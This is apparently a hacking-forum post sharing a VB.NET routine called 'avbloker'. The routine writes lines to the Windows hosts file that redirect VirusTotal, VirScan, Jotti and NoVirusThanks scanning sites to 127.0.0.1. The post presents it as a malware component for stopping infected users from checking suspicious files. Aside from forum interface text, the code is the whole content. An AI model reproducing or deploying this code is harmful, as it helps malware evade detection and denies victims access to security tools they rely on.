Jump to content
Skream Example

[VB.Net] Block AV Site's

Recommended Posts

Imports System.IO
Imports System.Reflection
#Region " block all Av sites "
Public Shared Sub avbloker()
'Dim objWriter As New System.IO.StreamWriter("C:\fire2.txt")
'objWriter.Write("xfind2")
'objWriter.Close()


Dim path As [String] = "C:\Windows\System32\drivers\etc\hosts"
Dim sw As New StreamWriter(path, True)
Dim sitetoblock As [String] = vbLf & " 127.0.0.1 www.virustotal.com"
Dim sitetoblock1 As [String] = vbLf & " 127.0.0.1 www.virscan.org"
Dim sitetoblock2 As [String] = vbLf & " 127.0.0.1 www.virusscan.jotti.org"
Dim sitetoblock3 As [String] = vbLf & " 127.0.0.1 www.vscan.novirusthanks.org"
sw.Write(sitetoblock)
sw.Write(vbNewLine & sitetoblock1)
sw.Write(vbNewLine & sitetoblock2)
sw.Write(vbNewLine & sitetoblock3)
sw.Close()


End

End Sub
#End Region

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...